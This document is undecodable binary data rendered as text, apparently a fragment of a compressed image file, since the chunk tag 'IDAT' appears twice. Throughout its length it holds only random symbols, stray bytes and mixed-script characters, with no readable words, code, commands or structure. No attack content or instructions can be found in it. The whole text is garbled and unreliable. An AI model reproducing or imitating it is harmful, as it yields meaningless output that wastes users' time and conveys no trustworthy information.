G&Ѣ@)$xMWoD.5p]*{gDe(9q=e[zp7}í3u~/?:ͫ|~>%7@8St0Ss+gMc"Oj/҃B=7=󛿿kx˜ k+1bk΀_^+9T3_gC]2|NO/\]XwO!Ql!5k.00ϭAV?sl +ku	vwU|fn	hݓsKЇBVOTwAnmYghξWsߜF'	s43'fegcKg7
 :>=2¿p{ۛFs6Acy~(A衷J7XYI/k<0hI<EBK]~N	m
o6鿰-'՗RXݿH;
S* 3/T?q$o#U歏"LT/ӧ|?"5?ݚEÙ7RtC8ߏs?p|pd@Y!?Du?t(5Q8^}T%2jѯ&9IHvS+9UsDZ2)_IC=oxwhҪ<Aaݚv&Q*Ĝ֪R%_tCؘVCnlc'ӳ{r8S}jj(O8>8,
h=xOb_+*\=lkojy"`ΩZ|0'b3j?kAjBh~gzL\!e_x)+})
>͵pʿ|2w}Ww䬛'񤆠GKRu_[pUH39Jz"{ڨ7Hၒ	;_T78ߟ==~9y==[&%?tL{y?t7?lWIHܯ)&yO4[ y0oh72@Ef_%6oPtV'B~@pv,3?0YIͧw窔y~OWw}1Jg8=6ڮ0Q!	YC&&Rפ~'G-*~%D?SF&󛔕1䱒LZEMr<b6i; W1U"(Npjf	/V>uĘ4jaQڄD7;Aɣa'ls4
^Z{oQ{a+K<dVdMSE[KEn(iL)E
iMVSnvҴz~q>0O{^`Futo!>+$N7GOrS2!^t ?~-pH4<AFuv6)歏-yk倘&V<PnNS|4CbǺJh۸D[^itt8+?vݿ*5`2FSyͿ:uņ[]A/ū0
Fe{GEMyb\!xPY~dŭ@~S/[s b}lj|&wٷ/252_# '+QOT;@3ɑوaEUGju_9GjmY+6 sZ ߕoߟ}qp7Nzn/0YՒs4W$gaLl~^1?wEiEfClɟBhK0j#062Zٽf*A}?h{~IisF^VFgG)9;x@c֩O
ХŤ<PCYK<D=ߛԶ-Ü?>]e^s	KVqu;Bw<}^lkkO\q'<"T-з>)yL$a7
qX{~{zq׻e}'519k$Bg_mbOҐI-F>)^{g9UƄ#~vW=gmLaQ`t?G^5t۾uTg=2tpjCBD`~&_|Z=,#0h5B=	0&GĚ=4}Z{Dw
8?yس;~"?=xr+|Gg<eoN>F|#PZW_ֳ҂OYG _Z0?1/=0)8I5<L4Ib_OE
}=lz2e{^t
{N|NB槣zk'WѳW})dQ'{c^DJ/yI=IA%`c{.gv8%]4!亜jg&mJW$-{8v ٲO`>H{ϙ3`H/p;ѽ8$kAv{Xxkj0D3;;u])+L_AU{1x飸aoJGZAg%ϝJy/4b{X7'ܾDssE9$/U+/eY-_%]1ŴX}fKAi;u+X,CD9Xsc|eYcVYEx¿B0Tw5̿}uG%pT\NB\!FiV01KF"Ӯ3ŞH	1T2LLJZ5X
̳X<ro`Uxհ]3lG#b,HQ&@'>0sX;EYUllXVgO(XWRu_j?TQc5
P؞Rw瓶lփ}DvT6(zH	yBwgJ.$5Nt?A{"+XwÏCqY4IdU4]&T/8_}&
t;S0}`l	IޟқLYu%1WPSǾo]V^.ԫsG490kS]wj0Ea¤zZt16P^tolQsެLHk^T
T)li)|>oqDH;%(;*dZ	K1".ob|樗z<S}MςW5Y4|O\&$Ե7;wV%:sT
;3:˳9ñz_2:|W9X/Lufty+KeQL_+[h&uaeþTnZ_|a'F8w=&HR%4X=wU%;DŽYc}c3t=SKcWܘW'!pOa{ٰ3K?׊U
f.uH!:OLI2~IJ> r/X>/jQ,f/2b
!4.*RE&RZۇ1	9aݮ?'OMeᅲ*:G&-mC_\~TlήM?
T`)D5o4P3jB}SQZApۙkhɢHº5r`Ilw'oZxzP!g;UVRZoN8[K)YHKZִRaiL%hN_$|xeıBMǍ{f˕GUz 
i(BcZK	}b|7 ]&J]ጀi,.<E#o-̼ܟ-i?A"\@⇐˚NW-'m!0k]dk`D ?1oC@UYhB@?oc4Ib	Od4 Z!|I65)^>O&ؽљA"3{5;◐2I'=46Q)l˓,ah7@|ٷa[;݈~|0 L؋lj տ?T7螽y:*aϮqs
㷉I]^BsÆkG 28aO;~Ov*W"dfUH/o>YޭY۶a6͇&F|:gP@LtHԒ=b g+|&jg(<<EY4/:s:v{P|Ο*FB&^`z&K:6a^tɎ#E1gG^	tA0?Ѱb^Sa}څѾü(7e}[]KJaDq]5ٻ~\y"an,0{k@!W@1b"ٳ}V҇GΩ X,(`T]o#rEAE:{<Ӥۙ_p0ǭS	[K9߽^`7R8j>u_5|Ew!K!^_isrO㾿NLt/z9
_ȩAS-滈Oݺ3L`xu??Ũv9~!pJ?s/\]GCAj]7Yễ'+VzMR>Agu'?[o|P?gq|5?k::J^
C",UgB230<!ŃCYMֽ":q.i}yK"VR{ ~t~Ϙ?7?;@??(~tk{<4~O8bz^1y2QܮQOj_V
ny~Gh@~LS-dvn:8~߃4>rq]@d	է{Bg=/ =/Ѽ˺pNCR(뿪"TA?v"=a]ԣM3'N_:I_ohs6ϸ:.vuKyY&?ǗEk}mk(9<3Hן/Sބ;GS%1mOwo\6x	p*&^mxeо%&g]`xT"_&ly`Gpc-=
gYMG9xoϘDFRPW!-;F`̰M??^ExVfdzwA
|"^D3:?zZ`ߥl)S[
[(R}*zQ$&xo-bg,2ckbNj_d:]lF"֜'e}3<L$Rs֓oѻd3"7Ob{o$5 '	;뻌10=}~y\;2T&t26^<Y !1z!?j.ềwfw/X"kZfY^YOhݦ<el3}==<WX.>&Ի|Qu=V/te*ln_S8t]ve_z1$nTs~v/y߭cOf
!w(:?ةO<nL}e7q}䛔8>bSMRx>l/Tг&f35fKY5ο73^]
|G,5?ǙN=RLN2]8Gw	<Cb3dZu&Pob@p֧(#iP\QC~U_y˽i& 'KnU}+e?1y7IuГjxW}FŃF$6Vs*cL>'N1S/^PلGeZ

M$e"u86A+</?<w=۟hF˺(F@Dd{7Vdw;]EUr"uЯL+^~Ӭ}Dք^/y+a'KU{h?~&Zm)?9^
\;%M"뿫V5'fO.km{uiqobo) 9/S#F:K}4kf()"skvd߉{x׹A'7?<kڼ5ô)4&sMIĝ
xnl6M)#<Tu?bv:3ˋE܅\s[
ۑ̡hMҼPl^ucS27[2^MELz|?s>acb+隹Wg/<
?"SU7 <!9qyw{q1ր^/ݳOJ
Vk>Ѧ$y=]nQ^&
V{K))T.~
>oۯH6Z5D}տN-dH ǷsKhR|8Hd9jFrO w]LzDQwimZXɨ֊MJ棩8j.D5Łwx,DFgzA^^QoG9Ȱ.3:BKvpkkRz3f3!ƛs?&Xъ]d34|S]FשׁNnaU_ЖIOq5 Dd;iD[SYQYWι1v&{zУJT;)N^&R98RP(qvx<ysᾤl![`F~n^8!/ۈBO0FN_kX:2)ߍO	h\)Zyͳ>{&
:SD\S@|u
8/׿?J]/nru5
|b	9?^6ϾıoqoǓe)r^S!*$0?jCH^rHHCS LJy~qժVXKZ>fM_QAFLߞ]9#DŽq{gʏ9o+4Z#o$|tN|Gf=U)+Xw.U]z]lrp`@k*>J6ZP+iZ=L[O .)Վ?]'T#k]35	ų+1GϏh~mjwUͲ<|ɪG@]w/b0gYk;N}_<h=~FW4vh$~SF9ρzwkE1?O1{	w;w2g2#hv_]A	տBDwT6"rX$	yz޿D^1bv΁h**xU(ݿ
k
U:CJ"Ă06Q]aiQbGy^Sl1$y=zSQbK'";?15#̮sFDg?Ƴa=Ǟ0iIÞeX/e}
EGb3AlCx_=Lv(uv15'v[ǿ+_l%x ׌2*cRX}EzPm)[Lr`1ƉƆ::老O@;_/vkB; '˪w)m%xɄ#~!A%?uPlY͏
zA~r=]liN-盰w?Z<*(=v~i<JNRfTl>~^1,/їqȋ`h/w#䛱局8BMW{`G4Zt}ڷ:u:wEƒsܲ41IP.x|wCl()6섞bMY=ߙ`JOA?)l1c[PWS{R
$]`zӬ3<PTԜQ_CRyOpxC-V4+g
g}iNڿ)d H9=jf6;.%b8fLrl
NeUwÖH4uQ݀P]VW]t[ y˘n^d5C_'kbU%.Twކk<`b&T^?JVWȮaj\Vju@%]$nDKĂ_xV?Y7!gtxZ<:TlYj_-PK)cg7IfqIEi85l%, 6HVD?`=.b]Ahe!.BD?Ve&oQY
ܥQ,f[;qG+GNoxAJ'>AZD5Vѯ
=^D`NxH̏ ww^@5WwIY;Y%MXpZȈ_],h?G1
*-z&-]㟸$Wh6o%xeV	r+y?/:fbrˀ+z/]:O<2@u&Ύ$Y3{5!8Bh!bW#jZsF\fg ~LM@J7MĮ19!<-/KߊFyx?4D)C@uY!ou:69yM-c;+#N>+%T*\b!ֽ6J-(6iJF`nGa{=_D*-Q'=-	[ j=?2(NjA1D`}'fULt	[5;ojJp%Oo[{+-y?[@By;> by˗'?w~)G_269cyd_4i7Ee[TwzG"UWGp՟>Ҁ@IDAT~n;ooղv-"w~F;u=Qe^Lbfmܺq6!3_:?gMѱ/'v1G}7.y)y_<|`ʜDŽFԿ%A³P+	B.j[OL?
6;פU])|VwM'-Z,1\41Œ:\Ml@q&'7
kS}cTRL.?ɴFZ׀\xQcPDj|g)Tip	c^5#jJrw6 *e^|t~vd[CU#+zg>%lkeol"l=̅*_kVO)*WqW7*|S[bQ?قQZ	߅ggə9j.IWOofﴚ/cTlj뫊h-E{3`Z=?E7Xw7z|Cg~Mq̟4]yI4y"8xƠG@,l3:SҎO0(xvUu캿Fߍc~"#^A+O	h*35A<́V2Ohufٌ4l1O;.}poGU}{Wjaz(̦9çxR>
|x%LpcʁYʙbG^{Tg]~P&.&㫵gj/(zKɏ3k*GJKf>\F'UZ.l+\$UkPVc=j2#Zg㪻Qx~{3ڏkMceb_Ly}v
ۂ0ٻ&8߃V{shE)#'CNzZ}rplIո?6=VJ@ !ԿċJx|)0`LdCusw,nC8"V>FBaۋAz]
MZo:}PacHEd&= 8G{,'yY'^:pf~sOiuyLǵ(Ƀ>L3?7‰A\)ߨWf٧WŎ71DE&j<S4P婳E{)W
:gWJ[MkRov7)Z.K
hfgFkֱڻ+A$֥j}!@T%̿$1Tem
}71e1v찐c9s}:$Z{DJ8=1ƭ#a};3^FcXSXuݟWYadŸr͘<~
Gse]3y*JL-y4Ժ{tky5t9ً|_WUW])gSL}fճt5,s~Gjs⣇Ko_0;Kܽ
^zV;t]GԾ8?xe~=\sL6=xQbxh\+S)漨ɃIĢF}H`YWk¼Ku%d~_W;,o8/ή>J4~t/,*F"ŸPN?"oiF. և'j3KXnsμ;aߞT)ToL:?Wxhdx~Kk&8JI5#gu|@5/љv"|Cj{c芉>`LН>>c֧2'H%#sT m%Yr伙>3Zŏ#2oUפVf"2_Thnm3j?l,M[>fJsՀ<IU	"n,J%2SĎ.vU&o`^~Fd#9\7][n\cQyц0ǍGM;lImROe@ZN%-9jG9;&!y果J>G`94({gE Pk(#۞gJ5U
{!GU}\aut%:=m-rÿ9b>6Z=,|!sgO`>r1-bBvΪ=lQ^0@/E\o/DI̟W4JZ;8ç|D;u&87m 2laكԚ|gll  8HMbl\6vj$P2]orZ3<,91`xW7G Gl)P3A4NoLPUb*

N[QFFv_BҤ1&d
9Z|jJ'jM]LI`uO{nW
[
L/S]5Xb2iهPܨ;7NRo!K*v!:}~ZǾ1g?kF@!	!Sܬ{Ĭ;TEWbn77dvuG
}*5	VU3Wo%}~Bih=&sCGNL怪d&wi}'.yR?.38sQJwOWGۃx7d^9>3S_PSj6$9ɀ=\(?C,ӚgQ
U+წ	K|s|)=󾳿pw(8_ң1/fm+A4	ubzEE74puWSw뫪}	6׌w۰%P6ۥFɛX_)zb	>RaW' -Щ
f.	ւ52B}hmRY;_N<C!δ-43S.g{|=J°%P.CRo3$^g~#v*#=vςbH:Kר_T#"J":"H^ګ=	@%x\ˀOɇKPc<SJ&4|lE;4+
]SQ@򹷗/5ph|:;X>-#n$8nV\ʺߞVҭq;	_t`~,5z_Xˀ3;ڎ5qbk;7!zVK]tI{wOAښY
MhDVh kXēo^C	ObbI1Ъn
BNN>61@W
xB_?
j_{gzY	1<jq@vsǍxS>8uu,>8!<|_grO'J<ӕ\P\!+ԑ3Ԙ8k/P[qx]v_VkrGy.c
tC	,X?sR>wj~jdS60I;ITƓ_(+a`
TVJ2į^^MWh2}<!_I뚍kF*ol}g!ڊN5<݋Uln3tմU~GByd~=j~=#_;ŶknYU}?_[qS	k~6v[^?@_ʫtwj7=E|Oh|T\-o	)ƺM!kҏ.ˋhw׽iO#1zEHEz:Uqq*&77?;}%[7:pWꞽܙ:N-~ݛqNzko4'L5~%to9N[Z)|bTP(ڢ꿸dXݧ+TWՊLcZ׶v~:}zm#HaK<JRגuW}.Rf|I>C{كO2n@_#EP]*}T@µ|֬'ukQ83y%]l=vA>&'閖Yʹgqm\0VwbV|}pǣ+U;%wswѬ3k'x9{>=߿uhʉ>|3G*OLz3wkӌ}p_d~Qe4NYdo˹U]>ۅlvwƈ4{s-TZ>}mSgg!B/CMCaU=4cqL0V^"`-@_tۋs޳w(Z_l/aUcr+3\"qrYPqtslfPn
6pHΥ]߿m~>4?mDۓ
N+Yd_^FhəפZu#5"T@}w-e頗ŵvM$~O6n;ޢ>gZ讘lڿԞP1GRgnL=w&YRUMrb~Yto*(;:
e
CW/n}*ERg'=פ#	^.5goiNE[ڮ4UO9m	
쮯yW	ϏjG០e?F+vg)g`.1~Yٻ`n&"L6[9W2+|ˉ^ed>#8hͺ_*M[ì`5Ó
kIW'];yNn!X*a7Ȑ:cI9Nl<4r>MlO]v^5o|kVOnW-?H6(آ/SU'K,ۿ(RϠ^٪>C\^,.]~mtգ{oX뷪u$];Z~_\Hanw]ӰŖ'L{DfRj6[snplzRf|ޚ*_Rx	!Rzt5ڋ
[[k@x;ϼu35f	\	Nb驩^gf2X<Sb:<U9UO.k\3?AlcOr"a}\ba:~眗˓Ph;<z$M',	ؚuq^(WnΖ&>C3A.tL&D^_PJFgg/$!™,Sz~*|fzk]9if6ȝ0ٜVP=PD:3"H_EBǿ=$R&W~,w=MEV׶p%0ߙZk?"z<Y/bJe h*:2t֓YX!8Rľ<tWIW;,VISM^9Ϝt
'y!}YpQaB8{b<|85`}嘌kWQsտ14NYړSbfG?u2$[6+	%yqƶǰt*)'HʥIzOj?/]l&y~J3TRm$Lq?UmEql<ޚK#s;ۿ^a|3'!4e_1~<~|:3m?>ˏ:o߄MJܗ;P=@sb*v?	0]	FUj$!60ᗐXg
)Vx_5/j?) vӏjd8ޟ{@!/j!ynoWх#VZNֳ㹵2ҒΜ<zz!tpۏ
OuY0ފgÀ^ҥK>f3;p_b[U3CPܻWQOoY9.[|W\/KbPfFWhP4{R|~`cX=*)}6}vOaN[k߱3X*'̙㾿?ݞI/o~,RRT*;pl/b#wV+_ʏ7
Ξ#z C}I3a炙ݛl
KK=s`=mR.7yC~Zp49?7	WE
?(+><*$[kB~?C߲ԹMS|@ye~KDNb{248ſT1jvFq+RauUE8Z>t'"$᚝9_2Hs~6۳GJgi+PӋDbom5?Jzd_{805kpfs"ԧ.?facQbo-`xn[gL w8+	PQ:G2LiÙԴ}.kg"'@ж9^Ğ/u(]/ņ%*_Ɋ\6vjkOykVz<oY3~g&|3|y33'?8^2"mϮP35+zlANxO|FI] p^o|d;>D_ly`N^ϙ_ai!)gx-c㑃u ϔsFio\hPw	9k`Oǭd
zٯ	WW*3ke:`֣hko1&:]_Y϶;G	B[])[p炗sӿڃx(P03G|&tj
qq{_h,2ocuDe5]RmX;j%+Bov#ww".4|
p{;qSYj5S$iZJijLŜ'>%
٫G"~H-:0[{=}hWQ5'}nm6 LNͻ[Չ!-w;3;G_,謗!-^w9x=<E+܎v%(\u!h'Sfos0W+`+q8\I;T ܳ$,z=rx?=Rۿo`E<>};13CG]S9$d̖Z&,hʑх_]e:_p
$9wWȽ;jGz)V~-o*{O}1|	zfMuob^
Ulm,o5k'Nj맹@UQ)7#T70tr~]HU^@ku"ʧѫ1Pk_=,_}ơSBU"?kǬ0ۇUiD%ITY%쉢zb.fNYcI]Ċ)>]Z6ܣ2F>*OhxjY#OOER2!P1QmXַ@\A8?F|pQqHr-rGϽhV]k}/.QCeߵPF@y<%y7bnm_I`t}^]u=
9Y)WFY"J_9_gϼ/~f^V^gzle}!W^-35}p,oݠS7?DNcOo)
MhV\=t"o0FYu:Vj:wVpq
,$AUV2(KMB8آҷIֿ$ꉃ_+1v^?gW]9`n	Kn)U#B)]/,{f+(m GLWr`F%HV.k뤼j+ń"T¿֭3[עعu]lnVU9<TovGM[	975vsrH*q$b~s6<ǔdӕ'sB<J
tJ;L9ϠZS*=.!enk;B[I*<;xPviXZZg~J?vSſ$$;2.Gc-4Kyzex;xmC;9SpRI@#Z"WO?/8h/>vS 511DR`[~t?=Oa"I/^0F.>}*Ygy~wQPs#o=TNe61Qp?=QI{&PW1u֛kJ
Yg7?dqz34{Eq$>{s=Z=]|bH?e(M$08KJXQmחp^"ep8zԩأ'm	})YV4
LHYÛ#_fؙfϿ=UG6
n8Q*o=/,wZP5S~1bK }|UJw|ۯg?f.t}Bƴb_ǹ~0\V)pBq󜁤J?;sgo]61Uw6WԜ#?
)w"{^<*$rT	ް#W^F{<p_ŝZO_-Fm7nU|bz	kX-{#R{leԚ+JulI5Bq??PXRBU/[?'CATFvmHP,d79BHʬYu)l%{K|
_YTRE5&W@yޘ	tܦܙK'Msonmmjo[/=+C_Y/O@U/5*"yiLJ	/
3TVzuz;!}xv1F_lzz_?1y^cyꌠV,*.ň9>aFɾz}ȱ(f4-k.U<pf.a?+&	dpī<=>2R:?L{k=4o?,ٹg+X:KhMCI=^d>g%2@y!Np{qYW̵O1P{QKsa#*Ofc{mAG=qf8&X}>04Kgi'p5
4Ri?vRfF۪eS3Q;V^qC?~ԀUݚpԀHߡRKFg.b׹<>V/\K>
3
K[Az̦
Ƌޒd^oHh tK*WL9YL˸_rE;yZA(̿mE˘q^߅[MmdsV}?/o:LsWseW'i#j6(LCg/akAN*y&+3	N-=ZR<#gmILp.V_7I#`ԿƶHf+]ňuk,b0Xb6D u}4]}巤Y5i{
}QV}w-s?ϧYc@^>7#U2yQ{וYCY	-$덛9mjB?w0SS&M٬̄Y\Ae>:6o/ԙlw9~* ѻ4<?PfuU᝿;!?I?gOM"WczG].׋;qM1&U7صR'>^~'|O1B'bN/HkDܗ, ^"1_呄bS_^VHl_))&˪|[(68j{7%R|ieqq xrZQUܺU}G/%J{sD7a֘?Oڜ_/V3|[j܎?7C>hmxǹr%<2=Ciӣ
HQް?%JfW#Le>d̓֗gaGGW^pJW}<+M/J84PL"`5<ItKN%p9id3[cwGv!;sUfϿʲ/	Wr۟`8sW}~lQʪ@u<pc+=:C5]Uǂ+V;&Z$\)⃙]z?`1+þ-D{4ɻAJ',a|	T?XO{w}c[BGn ,w{^]àл|	elA͎YrOOf98R~/nwtl
%\ԿNL
*s/yޖ#kL#HW'3Dt_/M_F{V};$~OZþ>`g}Ćc^(z}):0+1Ȓ3ZCi@gK^?|&W<ltj%h
#';Xt
ֽYn6@r1zS:N`;3B6# 
ߘr[:9uw Wg΃{SSwWd-VV|10LdӿYm'燯/@m>"9.snk_d8Uk=g#$"$`}ob	U&+c.J\~~4!eXZmMj?Vh~?/Oݟ~YOvi?_X'>|̂ČEoe_yTro43-5f~'9TYxe-zl7UByɋ~i6`7oi/i[XJD.r>?Dᴁ(Hv8Űʓofn._kU%P1&3I.
UWO,8p)x%	ҁZ_Dj	n}3i:WaPvy.ۚ#f&?qKV%d:x>O`o.bvn	z&(N%-[0IǕ[V	-A	|g>nPf9wBBpoiu鑌9/MnzQ\k
VqRE3-Rs5猜wyq1:=7թtuP<3.qzjliimɎOE*8AiQzMqZ㽼45G-iFI׹OPq
zG|Ff&0=@5k)I%Z}fSmhg2b䞟V_-<Syt9D2$&IyR	F{|R4®>*Ok}qFp[>=?
1_1C|P^WN"VP}6s
*bm߽"):¿t2߸cښ'>	?'"
=Yc(|1Q6"q#y<3E4G;!6̘械9] {4?/uZ>&Os	ok"?ypr˚U_|RX!6ײhԣŸˡgg&NO;O2+0sqx	sgdD'}\MǡFA?{ϊ5pAcPj~m1Lۃz~E1	VU_g|*5Ijsܷ/Ԛf˾ك4bs%,}9;XWg5e\dl=|OsͿ[U.|K_o"zwzN<*9?pW'͟q0Gs;K/cٺ99 >;rh`?3z(ݚ&+{+1*yn
ErwiJk;-k5s'n銔!,yX>QN:S*횰wrb|&sc0^?h
?8`&@ύ@?'7fW[U5Y*H_U`T/\Vr8(n#cLʉgk׃HA* kO܋.'Oۇ5aka߭$9YOU>O}5
ӥAx^IO7]J:F_V_LS
:v>?4ҵT%)tWڽJr(uE`.XؚEƋZYpC~<sjYS&D`{9
2|6u?\xSBNNuN/hr%Ƽ''u3uEwQ2*;(l\k/}Oaϖ1(
Wc!hd
\DYIsh}Jmb F+uY`
:UxAiO70gE5/*8~G30.\~z.@󘤴eVU`kg>dhT%]ظ9ۇZtCb>2!Ao鹷yC7~4t3AC	VyF<|ykep$ÝP5׭~$?ڈ)$eUց}Ma(\z?dxML8W̟K~zi\Z7D	05	{=τ3mMCš!x1;Ws.GB#Z]K40p2$?'%27ǁ36	\]'KW`ǤJ0xTMi
m8l/V
9FQOEmp/KGX[`$85x
e*]eQD3{OgUtwUhP/=#zcJȰ?WP&B%B])(UDZz$"bfv&A:˵WsE2CzU+W6d~#OޫEqqٰO#pЬWəsq0';B<aY%0~›gS]dЪ>@Wt@5D.5~&7Ne{_-^9_ү;7W$O%qEbU1!w<gڻ<|	_ʶ*=9J
'xG@-ɰ1[4]O?wZ`8jOjHx>lG5=SemzWj7([oMυ:3"5OW@[f\`GF0L?XM(4JW@jG<8gy~"?@lRcM	.庸!4՘)"P0iSB5J=*,[^ѻ
'JˀttN.y[

ǿ<uI_76OS>m"·z-cfu>GKȹy㹿 i?G՘
+~/c)@vFLI+l_a38j0ypn%7߹'HeR~uGʅ	$O\StZ_>&՞d^Rιa{ࠆHΥ~tUNmKgKVIE޿93&cy|oY's.:V@hZOUv~keiݕP%P
bB4+d33SF&fYAzweEqT=jl_t;v\Ž)Jc>ڇx.@99EOI%)T(`Ray>йr>G⏟~ t.a2Xf_<Kclx.!֋7B<p1W	1	ϠqAu1u?V(85LӆYŚ`I9}.e/a)t/EI8
~O<0r>|$;74Qnm\L7:Scs,u=ܿ__]IDht+x?FRt$&9
Xz.B̰̏g#\->ygw!Tl?
Hjs:ݷ'H=,q#1AhT:ro?\AoJzq
w-.SCbu|gյlKUP}6^Eu*oѓR:ly#nJĿsu5&ӞY)UE{q1'~Js2sֿv6@EEWnu̍2Ku%Oߟl]ӿ4E9ك[p6sR
!tr$Qnk,WVsei
^)>–B}tSՊw
Uo*ocKf/=H'w?=m- 7޷f8tv.# ){ދv	@ȧ>;tu(@ɱ?F"f)6s	4յwnv#A^ǰKCQ#M)alvzaЌOݫV,uUKAF\oJ~nrl	~0
kFia14E15OWx|֚巐-JRCE.[w/N{'QkI{)@IDAT5uOoupu<%GGJ&"YD{<s\P^V&Y*VE;@/~ʻ%-MK1;ZOF4?g]p._RevUz?^sݙSE)6@s?{b5g
y$ٽ##lJ/~jN|<([~{km
Ta>Mfq/Ĭc򞳣<uF{{NgڹÕ>'VL5?]s=ikVHY@6	S3Y??gw*EYngNî,!ïYWwL?z
|knWާ'23F3ޗk~n鵯RKR(kϬ.?Ma̖#Sː0	2^}b6z}}J)gEؽf/GO%Xw5	Sz“KzrTCR0)׵rRmw%sr(*CEw1KrW9VB'NBYk|zpn_\3-j̮VEv}?
^5C1ÃuԭiA=GXZv=KVuT5-'eF%իhGhJ&Wzkezw;Jo>ڧɆK[bV[ӒjjV=gW@vP<5X3K'\ĮwG}ߩ~-YO.qOKE6y
O,k(es"rAS;gv=3Q,SwyY:|`sӆk1j[@!vF_{D8fNh^h-?UP^gU)r;
hnf0\y1zAk~( 3
aY~A3k1C/52ߓ5>Zc+s㢤!˙BE?7!ĹI,wWq@i1Ą2.,FU֙ݼ4&l 2NZq[><':9WP|lA6߈$!H!G
)",k|| =X'OxjF?60)&ع%Կ>eܣ׀[b:GW!U>W{.a~?-?/{)"zF}Υ	ct
]O:hmDS{Gpdvw:kU_@r
v͔*lywF*3!&G} /;a68չVD0ҿLM4plדXM{M[Ux6{~a"Wu5:n.B+9Jk$Z}e]%U,~@3\?yg\P}GC~,ڟɻ5ߟȱƻRwlʦJw~Z%>MJCx^mY#fkF<Ix0CƀUbNA	ZAp:@MVЃNz̷Y)G͉HJ/ =i}mu;
Eg!2B OpTDA+HtkƬ,
ċ$)ZGj8
yg/oYKO-LdLP㋳!	_RW{E?'?@";
\=id
k["Md&NԞlCg5wV{|ͦԒ9iQiy)i|mRCXLPO*R}ThAFiOhʋ!Y{<#*IbZPjRcv[):3d\)ת̎¼_7N<6U3xj~lL[*gy{P}WJkd70oU7 "ſj܊91h>b	k{=P;oG
A^uȨuN\RsiF9ӕg9eeW&<yUlj\!G'`h#PҒ$G~>"Iis:$/Jy0rD"ffO9NI4$݈QSAO%.))]i+#BW?ەq@֚dr%s7ͯB€
`m`2O5uXZ90	/U^Du'EugxOt{Th;L긗 ~:F#\v1@1߬N¿-5^9Χ~~gPK]V
'P+MF5$Ln#bѢH
IΌsk/ʵ0BN_+m{l:I?%OG`ҸXf 5.(yCv~FuտKa6rkCtUH#T5yV	+Mjƫ_11{t'Ǟ*'g@,hV'kYӺVՆ9YSye(|M'59.IIep=P?Bdrr_VDs=r1~4R{<?{b
P=PB˛|dǿRMYe`B4$bo9؏Sߚ1p>XunJϧu+x)hY2)EnzF<QX*$4'd>bIJfY~p~f%uv>7!<ƣxWF
nPݼ-)6ZkB=4]Lf* k`$~;~)_PV/L
Yדf[Aǽ(_OB?}7zF/ŢuFܔLgߏvn%Y#O]D*ÝKZ+(7
80Y] "@bؘ Z5BCCAe!rhMP5< ">>-/,Pa
9)Ep3 ONa+1," zF4IS:T/G"幾WOpi5TwYqM>>JuG{kRv\kRaw	jfP44T4D8E
:O (`j@6d6|?}'D7oKտw;6iW߃*҅4QK7^;!8tӺćguGд-=֥HA.
.lNXXa40Ѧ?/LE*,9hݕ)x]}Ν³BkۿpM$b~_:ګ%3U(+G3
q ͺДH29jW-MKIYϦ^ɸyOd?'~CE,VG턙;=⟐fvV܁Ѭ	!.a8Dy$ـ:ݿQ->8D4S2SPx
[!koP}]4|%2sYpe\pAsT
a_Xuڎr'ΏVW{no?ٝhI[,;ߛ3c=\>S{~->mC]y@s'bƀi;*{c/*1w64dʯO&n{]"[%+~x=|y^5ߤ~\&%>Eq	-6ѫ>r841EsO~w:rϺFKB|"Oh';Yr⣠+}U_yz5
:rĺ:wu+HnƷ31c~	02Ѧ3sTh2?uzÉ͖zN]1Z۫l.n!ˠxs5(Ӌ^v=zfΒ8GS
$G2?=k|a&umlDw k}WzDNYf\?{S6k6Mb6|n{=ioF9?dC}Ko~r\ΒFs6<8z\}k{[S}@'5A9],Fb.y+goj<g()<:{-tp_VۦH=\U#l\sc&}@]/)O*/h'A㰞~_	[
]Z@vhQ52kUtVb <$(qEX²Z/=GUֵ<h.y yD~3%Y_#݅~
f3kmnjlnJS4kv}9ʻ-a?lEֻYumJ?sMr߉|H/[K%ߑ?)S߻
{
H=pX!L`0[_
&.G_։9{
r莧)>eyD|8ΡRnZz8Ĩ.]K72])mԽ3Ŝp#,0@v%3"/hH*_;/.kӿTg>S~؉?8?^,r;W~aiN|iI8%kJc@yzh~=V^H5c
FWav|_lT?@"?Po6Ҙ)J ?MJLRG#:չ	xĵ>
q4pnʕ>SF@/]hvDl.M/o34|6 =|:pK/]/Uw<W3?sn:8>芓Rc{ǾP>W|D2\JtbwO't(#=o:NP֚
I/*9o󐌔{e{'}?3'f~niOjw|.itw.5ҳGHPr~4wĤJ׌<3oEV|§EY`1zmsl
{U-}qpr$L>1%ws$z(y5I᚟Q>ԀgAMw;#Rgk]̥ :T33LzΆ(
nqoG0g5
#Sɋ5[_|ybP;9S_okMoVYIb5J߷;Fr\E	
=z	hܞ=52~;Nߕ=WǛ$Lg8@ksF'P~egDN;'0dGRlk}zYϜ`__w2yOG`r]˻p@ ˹\e0?!8y@|։ҕb:P_/_:u'Wa:9=QvBT"k6aqf)nNǹ-4	j!x:cMnPǽ?_VS>ǶNؿ{YX^/N
X=V/`y,|><3"ǕSHlؿ
򏦊<}&~7(A[?F-m=}z~nH
Ł'}tj=m',,%Ym*S	'%;U^֏˿j]Vc[gr~ӂOL@0^YLڻۿ(S^g}肓Iќi4ǜlʷEܼQv
Nx́F3/#4@6E1鬤b)gGgp;x\BnV	T޶i#}-M#YcwbwӅsm97d18T$O<Oi}tQ2.0ņ=$WnI"6d1 [S8.TKSw)wf\
p˨-b{tpoyf-ACPY.&3/A焵ƠPg+~[9>mg#b+0ѿbNT'Ҹk
#XY\_BEdtj^-X,|ζ~OM\T9qYĞ?R\c^dl=E\jTixVc9QggeW}yG^k=_`Qjɵ[~DfWuO|dɨ!:Qd_VHVrzL1)*Q%择z)áҙѴ\:?/f%9VnH5E?*.;W>`(1׿Tm[Hqf.:3֖Jxeƺ>?9]|mr	PSj˧p܀SqNj?C'yVWW=䢉ԑtJ7-5??xr=O%vv~pi7X	2<#I(?'ӀƓ9DWNc@;?PS\I%V?ފ#Ȁ48a+B6`u[RP~uu\h}w?$!}Cd4W$YÜ#?IY!X7C&,]OSz·J>zY߷C(WDj^!ԀC58yַĎesI	u[USWg2'gUmѿDۭ?%4yf~z
rSg@Y%ٟ%_ͲZktyn1 X:E3D[O<=R$I-?O7hpY~?<tJsgJWaaX?5zʇ'=vsz	albG`<9g9neI3`^ӿc*y/O5뚢_3%{/9;},^^rI{QMj~\>^11)ϊð&|YNLУ*&Uq8PIU##pROOaP`NywթVyQ>5'R{]!buOͿ=}{AST=~}.45YOW>-ἿP[㍵{@C
